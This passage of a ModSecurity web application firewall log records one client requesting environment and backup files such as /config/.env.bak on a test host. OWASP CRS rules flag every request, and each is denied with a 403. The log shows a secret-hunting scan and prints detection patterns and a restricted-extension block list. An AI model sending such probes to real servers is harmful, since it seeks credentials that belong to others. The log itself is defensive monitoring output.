&quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.520802 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.521072 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:27.521269 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env.old&quot;] [unique_id &quot;aPvMU-JZ4vgAgAbS8ck5-QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.117245 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5-gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.117507 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5-gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.117678 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5-gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.305593 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5-wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.305869 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5-wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.306080 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5-wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.501882 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.502080 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.502435 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.502683 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.731202 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.731403 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.731658 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.731835 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.896250 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.896510 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:28.896693 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aPvMVOJZ4vgAgAbS8ck5_gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.050076 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck5_wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.050329 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck5_wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.050512 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck5_wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.247725 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.247931 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.248193 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.248385 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.bak&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AAAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.916935 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aPvMVeJZ4vgAgAbS8ck6AQAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:29.917170 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 